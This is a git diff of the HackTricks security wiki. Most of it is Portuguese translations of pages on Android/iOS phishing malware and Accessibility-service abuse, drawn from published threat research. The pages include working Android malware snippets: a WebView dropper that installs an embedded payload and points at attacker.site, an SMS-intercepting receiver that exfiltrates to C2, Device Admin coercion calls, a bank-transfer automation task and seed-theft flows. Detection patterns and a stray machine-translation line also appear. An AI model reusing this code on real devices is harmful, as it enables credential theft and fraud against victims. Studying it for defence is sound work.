diff --git a/hacktricks-preprocessor.py b/hacktricks-preprocessor.py index 0165a854a..c525f665d 100644 --- a/hacktricks-preprocessor.py +++ b/hacktricks-preprocessor.py @@ -17,7 +17,7 @@ handler2.setLevel(logging.ERROR) logger.addHandler(handler2) -def findtitle(search ,obj, key, path=(),): +def findtitle(search, obj, key, path=()): # logger.debug(f"Looking for {search} in {path}") if isinstance(obj, dict) and key in obj and obj[key] == search: return obj, path @@ -54,26 +54,42 @@ def ref(matchobj): if href.endswith("/"): href = href+"README.md" # Fix if ref points to a folder if "#" in href: - chapter, _path = findtitle(href.split("#")[0], book, "source_path") - title = " ".join(href.split("#")[1].split("-")).title() - logger.debug(f'Ref has # using title: {title}') + result = findtitle(href.split("#")[0], book, "source_path") + if result is not None: + chapter, _path = result + title = " ".join(href.split("#")[1].split("-")).title() + logger.debug(f'Ref has # using title: {title}') + else: + raise Exception(f"Chapter not found for path: {href.split('#')[0]}") else: - chapter, _path = findtitle(href, book, "source_path") - logger.debug(f'Recursive title search result: {chapter["name"]}') - title = chapter['name'] + result = findtitle(href, book, "source_path") + if result is not None: + chapter, _path = result + logger.debug(f'Recursive title search result: {chapter["name"]}') + title = chapter['name'] + else: + raise Exception(f"Chapter not found for path: {href}") except Exception as e: dir = path.dirname(current_chapter['source_path']) rel_path = path.normpath(path.join(dir,href)) try: logger.debug(f'Not found chapter title from: {href} -- trying with relative path {rel_path}') if "#" in href: - chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path") - title = " ".join(href.split("#")[1].split("-")).title() - logger.debug(f'Ref has # using title: {title}') + result = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path") + if result is not None: + chapter, _path = result + title = " ".join(href.split("#")[1].split("-")).title() + logger.debug(f'Ref has # using title: {title}') + else: + raise Exception(f"Chapter not found for relative path: {path.normpath(path.join(dir,href.split('#')[0]))}") else: - chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path") - title = chapter["name"] - logger.debug(f'Recursive title search result: {chapter["name"]}') + result = findtitle(path.normpath(path.join(dir,href)), book, "source_path") + if result is not None: + chapter, _path = result + title = chapter["name"] + logger.debug(f'Recursive title search result: {chapter["name"]}') + else: + raise Exception(f"Chapter not found for relative path: {path.normpath(path.join(dir,href))}") except Exception as e: logger.debug(e) logger.error(f'Error getting chapter title: {rel_path}') diff --git a/src/SUMMARY.md b/src/SUMMARY.md index d4104d430..abe382dcf 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -768,7 +768,7 @@ - [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md) - [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md) - [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md) -- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md) +- [ROP & JOP](binary-exploitation/rop-return-oriented-programing/README.md) - [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md) - [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md) - [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md) @@ -837,8 +837,9 @@ - [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md) - [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md) - [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md) +- [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md) - [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) -- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md) +- [iOS Exploiting](binary-exploitation/ios-exploiting.md) # 🤖 AI - [AI Security](AI/README.md) diff --git a/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md b/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md index 91fca163c..40dc52eda 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md @@ -3,65 +3,65 @@ {{#include ../../banners/hacktricks-training.md}} > [!INFO] -> Esta página cobre técnicas usadas por atores de ameaça para distribuir **APKs maliciosos do Android** e **perfis de configuração móvel do iOS** através de phishing (SEO, engenharia social, lojas falsas, aplicativos de namoro, etc.). -> O material é adaptado da campanha SarangTrap exposta pelo Zimperium zLabs (2025) e outras pesquisas públicas. +> Esta página cobre técnicas usadas por atores de ameaça para distribuir **APKs Android maliciosos** e **iOS mobile-configuration profiles** através de phishing (SEO, engenharia social, lojas falsas, apps de namoro, etc.). +> O material é adaptado da campanha SarangTrap exposta pela Zimperium zLabs (2025) e outras pesquisas públicas. ## Fluxo de Ataque 1. **Infraestrutura de SEO/Phishing** -* Registrar dezenas de domínios semelhantes (namoro, compartilhamento em nuvem, serviço de carro…). -– Usar palavras-chave e emojis em língua local no elemento `` para ranquear no Google. -– Hospedar *tanto* as instruções de instalação do Android (`.apk`) quanto do iOS na mesma página de destino. -2. **Download da Primeira Etapa** +* Registrar dezenas de domínios parecidos (sites de namoro, compartilhamento em nuvem, serviço de carro…). +– Usar palavras-chave no idioma local e emojis no elemento `<title>` para ranquear no Google. +– Hospedar *ambas* as instruções de instalação para Android (`.apk`) e iOS na mesma landing page. +2. **Download da Primeira Fase** * Android: link direto para um APK *não assinado* ou de “loja de terceiros”. -* iOS: `itms-services://` ou link HTTPS simples para um perfil **mobileconfig** malicioso (veja abaixo). -3. **Engenharia Social Pós-instalação** -* Na primeira execução, o aplicativo pede um **código de convite / verificação** (ilusão de acesso exclusivo). -* O código é **POSTado via HTTP** para o Comando e Controle (C2). -* O C2 responde `{"success":true}` ➜ o malware continua. -* Análise dinâmica de Sandbox / AV que nunca envia um código válido não vê **comportamento malicioso** (evasão). -4. **Abuso de Permissão em Tempo de Execução** (Android) -* Permissões perigosas são solicitadas **apenas após resposta positiva do C2**: +* iOS: `itms-services://` ou link HTTPS simples para um perfil **mobileconfig** malicioso (ver abaixo). +3. **Engenharia social pós-instalação** +* Na primeira execução o app pede um **código de convite / verificação** (ilusão de acesso exclusivo). +* O código é **POSTado via HTTP** para o Command-and-Control (C2). +* C2 responde `{"success":true}` ➜ o malware continua. +* Análises dinâmicas em sandbox/AV que nunca submetem um código válido não veem **comportamento malicioso** (evasão). +4. **Abuso de Permissões em Tempo de Execução (Android)** +* Permissões perigosas são solicitadas apenas **após resposta positiva do C2**: ```xml <uses-permission android:name="android.permission.READ_CONTACTS"/> <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/> <uses-permission android:name="android.permission.READ_PHONE_STATE"/> -<!-- Compilações mais antigas também pediam permissões de SMS --> +<!-- Older builds also asked for SMS permissions --> ``` -* Variantes recentes **removem `<uses-permission>` para SMS do `AndroidManifest.xml`** mas mantêm o caminho de código Java/Kotlin que lê SMS através de reflexão ⇒ reduz a pontuação estática enquanto ainda é funcional em dispositivos que concedem a permissão via abuso de `AppOps` ou alvos antigos. -5. **Interface de Facade & Coleta em Segundo Plano** -* O aplicativo mostra visualizações inofensivas (visualizador de SMS, seletor de galeria) implementadas localmente. -* Enquanto isso, exfiltra: +* Variantes recentes **removem `<uses-permission>` para SMS do `AndroidManifest.xml`** mas deixam o caminho de código Java/Kotlin que lê SMS através de reflection ⇒ reduz a pontuação estática enquanto ainda funciona em dispositivos que concedem a permissão via `AppOps` abuse ou alvos antigos. +5. **Interface de fachada & coleta em segundo plano** +* O app mostra telas inofensivas (visualizador de SMS, seletor de galeria) implementadas localmente. +* Enquanto isso exfiltra: - IMEI / IMSI, número de telefone - Dump completo de `ContactsContract` (array JSON) -- JPEG/PNG de `/sdcard/DCIM` comprimido com [Luban](https://github.com/Curzibn/Luban) para reduzir o tamanho -- Conteúdo opcional de SMS (`content://sms`) -Os payloads são **compactados em lote** e enviados via `HTTP POST /upload.php`. -6. **Técnica de Entrega do iOS** -* Um único **perfil de configuração móvel** pode solicitar `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` etc. para inscrever o dispositivo em supervisão semelhante a “MDM”. +- JPEG/PNG de `/sdcard/DCIM` comprimidos com [Luban](https://github.com/Curzibn/Luban) para reduzir o tamanho +- Conteúdo SMS opcional (`content://sms`) +Payloads são **zipados em lote** e enviados via `HTTP POST /upload.php`. +6. **Técnica de entrega iOS** +* Um único **mobile-configuration profile** pode requisitar `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` etc. para inscrever o dispositivo em uma supervisão similar a “MDM”. * Instruções de engenharia social: -1. Abra Configurações ➜ *Perfil baixado*. -2. Toque em *Instalar* três vezes (capturas de tela na página de phishing). -3. Confie no perfil não assinado ➜ o atacante ganha direito a *Contatos* & *Foto* sem revisão da App Store. +1. Abra Settings ➜ *Profile downloaded*. +2. Toque em *Install* três vezes (screenshots na página de phishing). +3. Confie no perfil não assinado ➜ atacante ganha entitlement de *Contacts* & *Photo* sem revisão da App Store. 7. **Camada de Rede** -* HTTP simples, frequentemente na porta 80 com cabeçalho HOST como `api.<phishingdomain>.com`. -* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (sem TLS → fácil de detectar). +* HTTP simples, frequentemente na porta 80 com HOST header como `api.<phishingdomain>.com`. +* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (sem TLS → fácil de identificar). -## Testes Defensivos / Dicas de Red-Team +## Testes Defensivos / Dicas para Red-Team -* **Bypass de Análise Dinâmica** – Durante a avaliação de malware, automatize a fase do código de convite com Frida/Objection para alcançar o ramo malicioso. -* **Diferença entre Manifesto e Tempo de Execução** – Compare `aapt dump permissions` com `PackageManager#getRequestedPermissions()` em tempo de execução; permissões perigosas ausentes são um sinal de alerta. -* **Canário de Rede** – Configure `iptables -p tcp --dport 80 -j NFQUEUE` para detectar explosões de POST não sólidas após a entrada do código. -* **Inspeção de mobileconfig** – Use `security cms -D -i profile.mobileconfig` no macOS para listar `PayloadContent` e identificar direitos excessivos. +* **Bypass de Análise Dinâmica** – Durante avaliação de malware, automatize a fase do código de convite com Frida/Objection para alcançar a ramificação maliciosa. +* **Manifest vs. Runtime Diff** – Compare `aapt dump permissions` com runtime `PackageManager#getRequestedPermissions()`; permissões perigosas ausentes são um sinal de alerta. +* **Canário de Rede** – Configure `iptables -p tcp --dport 80 -j NFQUEUE` para detectar rajadas suspeitas de POST após a entrada do código. +* **Inspeção de mobileconfig** – Use `security cms -D -i profile.mobileconfig` no macOS para listar `PayloadContent` e identificar entitlements excessivos. -## Ideias de Detecção para Blue-Team +## Ideias de Detecção para Blue Team -* **Transparência de Certificado / Análise de DNS** para capturar explosões súbitas de domínios ricos em palavras-chave. -* **Regex de User-Agent & Caminho**: `(?i)POST\s+/(check|upload)\.php` de clientes Dalvik fora do Google Play. -* **Telemetria de Código de Convite** – POST de códigos numéricos de 6–8 dígitos logo após a instalação do APK pode indicar preparação. +* **Certificate Transparency / DNS Analytics** para detectar surtos súbitos de domínios ricos em keywords. +* **User-Agent & Path Regex**: `(?i)POST\s+/(check|upload)\.php` de clientes Dalvik fora do Google Play. +* **Telemetria de código de convite** – POSTs de códigos numéricos de 6–8 dígitos logo após a instalação do APK podem indicar estágio. * **Assinatura de MobileConfig** – Bloquear perfis de configuração não assinados via política MDM. -## Snippet Útil do Frida: Bypass Automático do Código de Convite +## Exemplo útil de Frida: Auto-Bypass do código de convite ```python # frida -U -f com.badapp.android -l bypass.js --no-pause # Hook HttpURLConnection write to always return success @@ -88,28 +88,28 @@ LubanCompress 1.1.8 # "Luban" string inside classes.dex ``` --- -## Android WebView Payment Phishing (UPI) – Dropper + Padrão FCM C2 +## Android WebView Payment Phishing (UPI) – Padrão Dropper + FCM C2 -Esse padrão foi observado em campanhas que abusam de temas de benefícios governamentais para roubar credenciais e OTPs do UPI indiano. Operadores encadeiam plataformas respeitáveis para entrega e resiliência. +This pattern has been observed in campaigns abusing government-benefit themes to steal Indian UPI credentials and OTPs. Operators chain reputable platforms for delivery and resilience. ### Cadeia de entrega através de plataformas confiáveis -- Isca de vídeo no YouTube → descrição contém um link curto -- Link curto → site de phishing do GitHub Pages imitando o portal legítimo -- O mesmo repositório do GitHub hospeda um APK com um falso selo “Google Play” que liga diretamente ao arquivo -- Páginas de phishing dinâmicas estão ativas no Replit; o canal de comando remoto usa Firebase Cloud Messaging (FCM) +- Isca por vídeo no YouTube → a descrição contém um link curto +- Link curto → site de phishing no GitHub Pages imitando o portal legítimo +- O mesmo repositório GitHub hospeda um APK com um selo falso “Google Play” que aponta diretamente para o arquivo +- Páginas de phishing dinâmicas hospedadas no Replit; o canal de comando remoto usa Firebase Cloud Messaging (FCM) -### Dropper com payload embutido e instalação offline -- O primeiro APK é um instalador (dropper) que envia o malware real em `assets/app.apk` e solicita ao usuário que desative Wi‑Fi/dados móveis para reduzir a detecção na nuvem. -- O payload embutido é instalado sob um rótulo inócuo (por exemplo, “Atualização Segura”). Após a instalação, tanto o instalador quanto o payload estão presentes como aplicativos separados. +### Dropper com embedded payload e instalação offline +- O primeiro APK é um instalador (dropper) que inclui o malware real em `assets/app.apk` e solicita que o usuário desative Wi‑Fi/dados móveis para reduzir a detecção em nuvem. +- O embedded payload instala-se sob um rótulo inofensivo (por exemplo, “Secure Update”). Após a instalação, tanto o instalador quanto o payload estão presentes como apps separados. -Dica de triagem estática (grep para payloads embutidos): +Static triage tip (grep for embedded payloads): ```bash unzip -l sample.apk | grep -i "assets/app.apk" # Or: zipgrep -i "classes|.apk" sample.apk | head ``` ### Descoberta dinâmica de endpoints via shortlink -- O malware busca uma lista de endpoints ativos em texto simples, separados por vírgulas, de um shortlink; transformações simples de string produzem o caminho final da página de phishing. +- Malware obtém uma lista em texto simples, separada por vírgulas, de endpoints ativos a partir de um shortlink; transformações simples de string produzem o caminho final da página de phishing. Exemplo (sanitizado): ``` @@ -119,7 +119,7 @@ Transform: "gate.html" → "gate.htm" (loaded in WebView) UPI credential POST: https://sqcepo.replit.app/addup.php SMS upload: https://sqcepo.replit.app/addsm.php ``` -Pseudo-código: +Pseudocódigo: ```java String csv = httpGet(shortlink); String[] parts = csv.split(","); @@ -128,7 +128,7 @@ String smsPost = parts[1]; String credsPost = upiPage.replace("gate.htm", "addup.php"); ``` ### Coleta de credenciais UPI baseada em WebView -- A etapa “Fazer pagamento de ₹1 / UPI‑Lite” carrega um formulário HTML do atacante a partir do endpoint dinâmico dentro de um WebView e captura campos sensíveis (telefone, banco, PIN UPI) que são `POST`ados para `addup.php`. +- A etapa “Make payment of ₹1 / UPI‑Lite” carrega um formulário HTML do atacante a partir do endpoint dinâmico dentro de um WebView e captura campos sensíveis (telefone, banco, UPI PIN) que são `POST`ados para `addup.php`. Loader mínimo: ```java @@ -136,7 +136,7 @@ WebView wv = findViewById(R.id.web); wv.getSettings().setJavaScriptEnabled(true); wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm ``` -### Autopropagação e interceptação de SMS/OTP +### Self-propagation and SMS/OTP interception - Permissões agressivas são solicitadas na primeira execução: ```xml <uses-permission android:name="android.permission.READ_CONTACTS"/> @@ -144,10 +144,10 @@ wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm <uses-permission android:name="android.permission.READ_SMS"/> <uses-permission android:name="android.permission.CALL_PHONE"/> ``` -- Contatos são usados para enviar em massa SMS smishing do dispositivo da vítima. -- SMS recebidos são interceptados por um receptor de transmissão e enviados com metadados (remetente, corpo, slot SIM, ID aleatório por dispositivo) para `/addsm.php`. +- Contatos são percorridos para enviar smishing SMS em massa a partir do dispositivo da vítima. +- SMS recebidos são interceptados por um broadcast receiver e enviados com metadados (remetente, corpo, slot do SIM, ID aleatório por dispositivo) para `/addsm.php`. -Receiver sketch: +Esboço do receiver: ```java public void onReceive(Context c, Intent i){ SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i); @@ -162,7 +162,7 @@ postForm(urlAddSms, new FormBody.Builder() } ``` ### Firebase Cloud Messaging (FCM) como C2 resiliente -- O payload se registra no FCM; mensagens push carregam um campo `_type` usado como um interruptor para acionar ações (por exemplo, atualizar modelos de texto de phishing, alternar comportamentos). +- O payload registra-se no FCM; mensagens push carregam um campo `_type` usado como um switch para acionar ações (por exemplo, atualizar modelos de texto de phishing, alternar comportamentos). Exemplo de payload FCM: ```json @@ -174,7 +174,7 @@ Exemplo de payload FCM: } } ``` -Esboço do manipulador: +Esboço do Handler: ```java @Override public void onMessageReceived(RemoteMessage msg){ @@ -186,27 +186,178 @@ case "smish": sendSmishToContacts(); break; } } ``` -### Padrões de caça e IOCs -- APK contém carga secundária em `assets/app.apk` +### Padrões de hunting e IOCs +- APK contém payload secundário em `assets/app.apk` - WebView carrega pagamento de `gate.htm` e exfiltra para `/addup.php` - Exfiltração de SMS para `/addsm.php` -- Busca de configuração impulsionada por link curto (por exemplo, `rebrand.ly/*`) retornando endpoints CSV -- Apps rotulados como genéricos “Atualizar/Atualização Segura” -- Mensagens `data` do FCM com um discriminador `_type` em apps não confiáveis +- Busca de config via shortlink (e.g., `rebrand.ly/*`) retornando endpoints CSV +- Apps rotulados como genéricos “Update/Secure Update” +- Mensagens FCM `data` com um discriminador `_type` em apps não confiáveis ### Ideias de detecção e defesa -- Marcar apps que instruem os usuários a desativar a rede durante a instalação e, em seguida, carregar um segundo APK de `assets/`. -- Alertar sobre a tupla de permissões: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + fluxos de pagamento baseados em WebView. -- Monitoramento de saída para `POST /addup.php|/addsm.php` em hosts não corporativos; bloquear infraestrutura conhecida. -- Regras de EDR móvel: app não confiável registrando-se para FCM e ramificando em um campo `_type`. +- Marcar apps que instruem usuários a desativar a rede durante a instalação e então fazer sideload de um segundo APK de `assets/`. +- Gerar alerta sobre a tupla de permissões: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + fluxos de pagamento baseados em WebView. +- Monitoramento de egress para `POST /addup.php|/addsm.php` em hosts não corporativos; bloquear infraestrutura conhecida. +- Regras Mobile EDR: app não confiável registrando-se no FCM e ramificando com base no campo `_type`. --- +## Android Accessibility/Overlay & Device Admin Abuse, ATS automation, and NFC relay orchestration – estudo de caso RatOn + +A campanha RatOn banker/RAT (ThreatFabric) é um exemplo concreto de como operações modernas de mobile phishing combinam WebView droppers, Accessibility-driven UI automation, overlays/ransom, Device Admin coercion, Automated Transfer System (ATS), crypto wallet takeover, e até NFC-relay orchestration. Esta seção abstrai as técnicas reutilizáveis. + +### Stage-1: WebView → ponte nativa de instalação (dropper) + +Os atacantes exibem um WebView apontando para uma página atacante e injetam uma JavaScript interface que expõe um native installer. Um toque em um botão HTML chama código nativo que instala um APK de segunda etapa empacotado nos assets do dropper e então o executa diretamente. + +Padrão mínimo: +```java +public class DropperActivity extends Activity { +@Override protected void onCreate(Bundle b){ +super.onCreate(b); +WebView wv = new WebView(this); +wv.getSettings().setJavaScriptEnabled(true); +wv.addJavascriptInterface(new Object(){ +@android.webkit.JavascriptInterface +public void installApk(){ +try { +PackageInstaller pi = getPackageManager().getPackageInstaller(); +PackageInstaller.SessionParams p = new PackageInstaller.SessionParams(PackageInstaller.SessionParams.MODE_FULL_INSTALL); +int id = pi.createSession(p); +try (PackageInstaller.Session s = pi.openSession(id); +InputStream in = getAssets().open("payload.apk"); +OutputStream out = s.openWrite("base.apk", 0, -1)){ +byte[] buf = new byte[8192]; int r; while((r=in.read(buf))>0){ out.write(buf,0,r);} s.fsync(out); +} +PendingIntent status = PendingIntent.getBroadcast(this, 0, new Intent("com.evil.INSTALL_DONE"), PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE); +pi.commit(id, status.getIntentSender()); +} catch (Exception e) { /* log */ } +} +}, "bridge"); +setContentView(wv); +wv.loadUrl("https://attacker.site/install.html"); +} +} +``` +Por favor, cole o HTML da página que você quer que eu traduza. +```html +<button onclick="bridge.installApk()">Install</button> +``` +Após a instalação, o dropper inicia o payload via package/activity explícito: +```java +Intent i = new Intent(); +i.setClassName("com.stage2.core", "com.stage2.core.MainActivity"); +startActivity(i); +``` +Hunting idea: apps não confiáveis chamando `addJavascriptInterface()` e expondo métodos semelhantes a instaladores para WebView; APK distribuindo um payload secundário embutido em `assets/` e invocando o Package Installer Session API. + +### Funil de consentimento: Accessibility + Device Admin + prompts de runtime subsequentes +Stage-2 abre um WebView que hospeda uma página “Access”. O botão desta invoca um método exportado que navega a vítima para as configurações de Accessibility e solicita a ativação do serviço malicioso. Uma vez concedido, o malware usa Accessibility para clicar automaticamente através dos diálogos de permissão de runtime subsequentes (contacts, overlay, manage system settings, etc.) e solicita Device Admin. + +- Accessibility ajuda programaticamente a aceitar prompts posteriores encontrando botões como “Allow”/“OK” na árvore de nós e disparando cliques. +- Verificação/solicitação de permissão de overlay: +```java +if (!Settings.canDrawOverlays(ctx)) { +Intent i = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION, +Uri.parse("package:" + ctx.getPackageName())); +ctx.startActivity(i); +} +``` +Veja também: + +{{#ref}} +../../mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md +{{#endref}} + +### Phishing por sobreposição / resgate via WebView +Operadores podem emitir comandos para: +- exibir uma sobreposição em tela cheia a partir de uma URL, ou +- passar HTML inline que é carregado em uma sobreposição WebView. + +Usos prováveis: coerção (inserção do PIN), abertura de wallet para capturar PINs, envio de mensagens de resgate. Mantenha um comando para garantir que a permissão de sobreposição esteja concedida se estiver ausente. + +### Modelo de controle remoto – pseudo-tela de texto + screen-cast +- Baixa largura de banda: despejar periodicamente a árvore de nodes do Accessibility, serializar textos visíveis/roles/bounds e enviar para o C2 como uma pseudo-tela (comandos como `txt_screen` uma vez e `screen_live` contínuo). +- Alta fidelidade: solicitar MediaProjection e iniciar screen-casting/gravação sob demanda (comandos como `display` / `record`). + +### ATS playbook (automação de apps bancários) +Dada uma tarefa JSON, abrir o app do banco, controlar a UI via Accessibility com uma mistura de consultas por texto e toques por coordenadas, e inserir o PIN de pagamento da vítima quando solicitado. + +Exemplo de tarefa: +```json +{ +"cmd": "transfer", +"receiver_address": "ACME s.r.o.", +"account": "123456789/0100", +"amount": "24500.00", +"name": "ACME" +} +``` +Exemplos de textos vistos em um fluxo alvo (CZ → EN): +- "Nová platba" → "Novo pagamento" +- "Zadat platbu" → "Inserir pagamento" +- "Nový příjemce" → "Novo destinatário" +- "Domácí číslo účtu" → "Número de conta doméstica" +- "Další" → "Próximo" +- "Odeslat" → "Enviar" +- "Ano, pokračovat" → "Sim, continuar" +- "Zaplatit" → "Pagar" +- "Hotovo" → "Concluído" + +Operadores também podem verificar/aumentar os limites de transferência por meio de comandos como `check_limit` e `limit` que navegam na UI de limites de forma semelhante. + +### Crypto wallet seed extraction +Alvos como MetaMask, Trust Wallet, Blockchain.com, Phantom. Fluxo: desbloquear (PIN roubado ou senha fornecida), navegar até Security/Recovery, reveal/show seed phrase, keylog/exfiltrate it. Implementar locale-aware selectors (EN/RU/CZ/SK) para estabilizar a navegação entre idiomas. + +### Device Admin coercion +Device Admin APIs são usadas para aumentar as oportunidades de PIN-capture e frustrar a vítima: + +- Bloqueio imediato: +```java +dpm.lockNow(); +``` +- Expirar a credencial atual para forçar a alteração (Accessibility captura novo PIN/senha): +```java +dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner +``` +- Forçar desbloqueio não biométrico desativando recursos biométricos do keyguard: +```java +dpm.setKeyguardDisabledFeatures(admin, +DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT | +DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS); +``` +Nota: Muitos controles do DevicePolicyManager exigem Device Owner/Profile Owner em versões recentes do Android; algumas builds de OEM podem ser permissivas. Sempre valide no SO/OEM alvo. + +### Orquestração de relay NFC (NFSkate) +Stage-3 pode instalar e iniciar um módulo externo de NFC-relay (por exemplo, NFSkate) e até fornecer um template HTML para guiar a vítima durante o relay. Isso permite cash-out contactless card-present juntamente com ATS online. + +Background: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay). + +### Conjunto de comandos do operador (exemplo) +- UI/state: `txt_screen`, `screen_live`, `display`, `record` +- Social: `send_push`, `Facebook`, `WhatsApp` +- Overlays: `overlay` (inline HTML), `block` (URL), `block_off`, `access_tint` +- Wallets: `metamask`, `trust`, `blockchain`, `phantom` +- ATS: `transfer`, `check_limit`, `limit` +- Device: `lock`, `expire_password`, `disable_keyguard`, `home`, `back`, `recents`, `power`, `touch`, `swipe`, `keypad`, `tint`, `sound_mode`, `set_sound` +- Comms/Recon: `update_device`, `send_sms`, `replace_buffer`, `get_name`, `add_contact` +- NFC: `nfs`, `nfs_inject` + +### Ideias de detecção e defesa (estilo RatOn) +- Procurar por WebViews com `addJavascriptInterface()` expondo métodos de instalador/permissão; páginas terminando em “/access” que acionam prompts de Accessibility. +- Alertar sobre apps que geram gestos/cliques de Accessibility em alta taxa logo após receberem acesso ao serviço; telemetria que se assemelha a dumps de nodes de Accessibility enviados ao C2. +- Monitorar mudanças de policy do Device Admin em apps não confiáveis: `lockNow`, expiração de senha, alternâncias de recursos do keyguard. +- Alertar sobre prompts de MediaProjection de apps não corporativos seguidos por uploads periódicos de frames. +- Detectar instalação/lançamento de um app NFC-relay externo acionado por outro app. +- Para serviços bancários: impor confirmações out-of-band, vinculação biométrica e limites de transação resistentes à automação no dispositivo. + ## Referências - [The Dark Side of Romance: SarangTrap Extortion Campaign](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign) - [Luban – Android image compression library](https://github.com/Curzibn/Luban) - [Android Malware Promises Energy Subsidy to Steal Financial Data (McAfee Labs)](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/android-malware-promises-energy-subsidy-to-steal-financial-data/) - [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging) +- [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats) +- [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md b/src/mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md index 682acf1f6..ef8e0bd77 100644 --- a/src/mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md +++ b/src/mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md @@ -1,24 +1,24 @@ -# Abuso do Serviço de Acessibilidade do Android +# Android Accessibility Service Abuse {{#include ../../banners/hacktricks-training.md}} -## Visão Geral +## Visão geral -`AccessibilityService` foi criado para ajudar usuários com deficiência a interagir com dispositivos Android. Infelizmente, as mesmas **APIs de automação poderosas** (navegação global, entrada de texto, despacho de gestos, janelas sobrepostas…) podem ser armadas por malware para obter **controle remoto completo** do dispositivo _sem privilégios de root_. +`AccessibilityService` foi criado para ajudar usuários com deficiências a interagir com dispositivos Android. Infelizmente, as mesmas **powerful automation APIs** (global navigation, text input, gesture dispatch, overlay windows…) podem ser utilizadas por malware para obter **controle remoto completo** do aparelho _sem privilégios de root_. -Trojans bancários modernos do Android e Trojans de Acesso Remoto (RATs) como **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** e muitos outros seguem a mesma receita: +Trojans bancários Android modernos e Remote-Access-Trojans (RATs) como **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** e muitos outros seguem a mesma receita: -1. Enganar a vítima para habilitar um serviço de acessibilidade malicioso (a permissão *BIND_ACCESSIBILITY_SERVICE* é considerada "de alto risco" e requer uma ação explícita do usuário). +1. Social-engineer a vítima para habilitar um serviço de acessibilidade malicioso (a permissão *BIND_ACCESSIBILITY_SERVICE* é considerada "high-risk" e requer uma ação explícita do usuário). 2. Aproveitar o serviço para -* capturar todos os eventos de UI e texto que aparecem na tela, +* capturar todos os eventos de UI e textos que aparecem na tela, * injetar gestos sintéticos (`dispatchGesture`) e ações globais (`performGlobalAction`) para automatizar qualquer tarefa que o operador desejar, -* desenhar sobreposições em tela cheia sobre aplicativos legítimos usando o tipo de janela **TYPE_ACCESSIBILITY_OVERLAY** (sem prompt de `SYSTEM_ALERT_WINDOW`!), -* conceder silenciosamente permissões adicionais em tempo de execução clicando nas caixas de diálogo do sistema em nome da vítima. -3. Exfiltrar dados ou realizar **Fraude no Dispositivo (ODF)** em tempo real enquanto o usuário está olhando para uma tela perfeitamente normal. +* desenhar overlays em tela cheia sobre apps legítimos usando o tipo de janela **TYPE_ACCESSIBILITY_OVERLAY** (sem prompt `SYSTEM_ALERT_WINDOW`!), +* conceder silenciosamente permissões de runtime adicionais clicando nos diálogos do sistema em nome da vítima. +3. Exfiltrar dados ou executar **On-Device-Fraud (ODF)** em tempo real enquanto o usuário está olhando para uma tela aparentemente normal. --- -## Solicitando a permissão +## Requesting the permission ```xml <!-- AndroidManifest.xml --> <service @@ -34,7 +34,7 @@ android:exported="false"> android:resource="@xml/evil_accessibility_config"/> </service> ``` -O XML acompanhante define como o diálogo falso será exibido: +O XML acompanhante define como o diálogo falso ficará: ```xml <?xml version="1.0" 